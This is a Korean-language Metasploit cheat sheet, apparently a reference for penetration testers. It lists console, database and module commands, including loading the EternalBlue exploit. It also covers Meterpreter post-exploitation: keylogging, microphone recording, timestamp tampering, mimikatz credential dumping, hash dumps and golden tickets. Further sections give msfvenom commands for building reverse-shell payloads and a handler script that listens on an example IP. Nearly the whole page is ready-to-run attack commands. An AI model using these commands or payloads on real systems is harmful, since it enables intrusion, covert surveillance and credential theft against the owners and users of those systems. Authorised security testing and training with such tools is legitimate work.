Skip to main content

Metasploit Framework

https://www.metasploit.com/

강력한 침투 테스트 및 익스플로잇 프레임워크입니다.

데이터베이스 관리​

# 데이터베이스 시작
sudo msfdb run

# 데이터베이스 초기화
sudo msfdb init

# 기존 데이터베이스 삭제
msfdb --use-defaults delete

# 데이터베이스 재초기화
msfdb --use-defaults init

# 상태 확인
msfdb status

기본 명령어​

실행​

# Metasploit 콘솔 시작
msfconsole

# 조용한 모드
msfconsole -q

# 프록시체인 사용
proxychains -q msfconsole

워크스페이스​

msf6 > workspace # 워크스페이스 목록
msf6 > workspace -a <NAME> # 워크스페이스 추가
msf6 > workspace <NAME> # 워크스페이스 전환
msf6 > workspace -r <OLD> <NEW> # 이름 변경
msf6 > workspace -d <NAME> # 삭제
msf6 > workspace -D # 모두 삭제

데이터베이스 사용​

# Nmap 스캔 및 DB 저장
msf6 > db_nmap -sV -p- <RHOST>
msf6 > db_nmap -A <RHOST>

# 호스트 확인
msf6 > hosts

# 서비스 확인
msf6 > services

# 취약점 확인
msf6 > vulns

# 크리덴셜 확인
msf6 > creds

모듈 사용​

검색​

# 일반 검색
msf6 > search <KEYWORD>
msf6 > search type:exploit platform:windows smb

# 특정 CVE
msf6 > search cve:2017-0144

# 특정 플랫폼
msf6 > search platform:linux

# 포트별
msf6 > search port:445

모듈 선택 및 사용​

# 모듈 사용
msf6 > use exploit/windows/smb/ms17_010_eternalblue

# 모듈 정보
msf6 > info

# 옵션 보기
msf6 > show options
msf6 > show advanced

# 페이로드 보기
msf6 > show payloads

# 타겟 보기
msf6 > show targets

옵션 설정​

msf6 > set RHOST <RHOST>
msf6 > set RPORT <RPORT>
msf6 > set LHOST <LHOST>
msf6 > set LPORT <LPORT>
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set VERBOSE true
msf6 > set forceexploit true

# 전역 설정
msf6 > setg RHOST <RHOST>
msf6 > setg LHOST <LHOST>

# 설정 해제
msf6 > unset RHOST
msf6 > unsetg RHOST

실행​

msf6 > run
msf6 > exploit
msf6 > exploit -j # 백그라운드 실행
msf6 > exploit -z # 세션 즉시 백그라운드

모듈 타입​

msf6 > use exploit/<PATH> # 익스플로잇
msf6 > use auxiliary/<PATH> # 보조 모듈
msf6 > use payload/<PATH> # 페이로드
msf6 > use encoder/<PATH> # 인코더
msf6 > use post/<PATH> # Post 익스플로잇
msf6 > use nop/<PATH> # NOP

세션 관리​

msf6 > sessions # 세션 목록
msf6 > sessions -l # 세션 목록 (상세)
msf6 > sessions -i 1 # 세션 1 연결
msf6 > sessions -u <ID> # 쉘을 meterpreter로 업그레이드
msf6 > sessions -k <ID> # 세션 종료
msf6 > sessions -K # 모든 세션 종료
msf6 > sessions -c <CMD> # 모든 세션에 명령 실행

작업 관리​

msf6 > jobs # 작업 목록
msf6 > jobs -k <ID> # 작업 종료
msf6 > jobs -K # 모든 작업 종료

Meterpreter​

기본 명령어​

meterpreter > help # 도움말
meterpreter > background # 백그라운드 (Ctrl+Z도 가능)
meterpreter > bg # 백그라운드
meterpreter > shell # 시스템 쉘
meterpreter > exit # 종료

시스템 정보​

meterpreter > sysinfo # 시스템 정보
meterpreter > getuid # 현재 사용자
meterpreter > getpid # 프로세스 ID
meterpreter > ps # 프로세스 목록
meterpreter > pgrep explorer # 프로세스 검색

프로세스 마이그레이션​

meterpreter > ps
meterpreter > migrate 2236
meterpreter > migrate -N explorer.exe

파일 시스템​

meterpreter > pwd # 현재 디렉토리
meterpreter > ls # 파일 목록
meterpreter > cd <DIR> # 디렉토리 이동
meterpreter > cat <FILE> # 파일 읽기
meterpreter > download <FILE> # 파일 다운로드
meterpreter > download * # 모든 파일
meterpreter > upload <FILE> # 파일 업로드
meterpreter > search -f <FILE> # 파일 검색
meterpreter > rm <FILE> # 파일 삭제
meterpreter > mkdir <DIR> # 디렉토리 생성
meterpreter > rmdir <DIR> # 디렉토리 삭제

권한 상승​

meterpreter > getprivs # 현재 권한
meterpreter > getsystem # SYSTEM 권한 획득

네트워크​

meterpreter > ipconfig # 네트워크 설정
meterpreter > ifconfig # 네트워크 인터페이스
meterpreter > route # 라우팅 테이블
meterpreter > arp # ARP 테이블
meterpreter > netstat # 네트워크 연결

포트 포워딩​

# 로컬 포트 포워딩
meterpreter > portfwd add -l <LPORT> -p <RPORT> -r 127.0.0.1

# 목록
meterpreter > portfwd list

# 삭제
meterpreter > portfwd delete -l <LPORT>

스크린샷 & 키로깅​

# 스크린샷
meterpreter > screenshot

# 실시간 화면 공유
meterpreter > screenshare
meterpreter > screenshare -q 100

# 키로깅
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > keyscan_stop

# 마이크 녹음
meterpreter > record_mic

프로그램 실행​

meterpreter > execute -f calc.exe
meterpreter > execute -f cmd.exe -i -H

타임스탬프 조작​

meterpreter > timestomp <FILE> -v
meterpreter > timestomp <FILE> -m "01/01/2020 12:00:00"

모듈 로드​

Kiwi (Mimikatz)​

meterpreter > load kiwi
meterpreter > help kiwi
meterpreter > kiwi_cmd
meterpreter > creds_all
meterpreter > creds_msv
meterpreter > creds_kerberos
meterpreter > creds_wdigest
meterpreter > lsa_dump_sam
meterpreter > lsa_dump_secrets
meterpreter > dcsync_ntlm krbtgt
meterpreter > golden_ticket_create

PowerShell​

meterpreter > load powershell
meterpreter > powershell_shell
meterpreter > powershell_execute 'Get-Process'
meterpreter > powershell_import /path/to/script.ps1
meterpreter > powershell_session_remove

Stdapi​

meterpreter > loadstdapi

Post Exploitation 모듈​

# 로컬 익스플로잇 제안
meterpreter > run post/multi/recon/local_exploit_suggester

# VM 확인
meterpreter > run post/windows/gather/checkvm

# 해시 덤프
meterpreter > hashdump
meterpreter > run post/windows/gather/hashdump
meterpreter > run post/linux/gather/hashdump

# RDP 활성화
meterpreter > run post/windows/manage/enable_rdp

# Autoroute
meterpreter > run post/multi/manage/autoroute

# SOCKS 프록시
meterpreter > run auxiliary/server/socks_proxy
meterpreter > run auxiliary/server/socks4a

# 쉘을 Meterpreter로 업그레이드
msf6 > use post/multi/manage/shell_to_meterpreter

Handler 설정​

기본 Listener​

msf6 > use exploit/multi/handler
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST <LHOST>
msf6 > set LPORT <LPORT>
msf6 > set EXITFUNC thread
msf6 > set AutoLoadStdapi false
msf6 > set PrependMigrate true
msf6 > set PrependMigrateProc explorer.exe
msf6 > run -j

페이로드 생성​

# Windows
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o payload.exe

# Linux
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f elf -o payload.elf

# PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f raw -o payload.php

유용한 설정​

# Verbose 모드
msf6 > set VERBOSE true

# 강제 실행
msf6 > set forceexploit true

# 쓰레드 종료 방식
msf6 > set EXITFUNC thread

# 로그 기록
msf6 > spool /path/to/file.log

# 상태 저장
msf6 > save

리소스 스크립트​

스크립트 작성​

# handler.rc
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
set EXITFUNC thread
exploit -j

실행​

msfconsole -r handler.rc

콘솔 내에서​

msf6 > resource /path/to/script.rc

보조 출력 디렉토리​

~/.msf4/loot/
/home/<USERNAME>/.msf4/loot/20200623090635_default_<RHOST>_nvms.traversal_680948.txt

참고​

  • 데이터베이스 사용으로 스캔 결과 관리
  • 워크스페이스로 프로젝트 분리
  • Meterpreter는 강력한 post-exploitation 기능
  • getsystem으로 권한 상승 가능
  • migrate로 안정적인 프로세스로 이동
  • 포트 포워딩으로 피봇팅 가능
  • Kiwi 모듈로 mimikatz 기능 사용
  • Resource 스크립트로 자동화
  • 백그라운드 실행으로 여러 세션 관리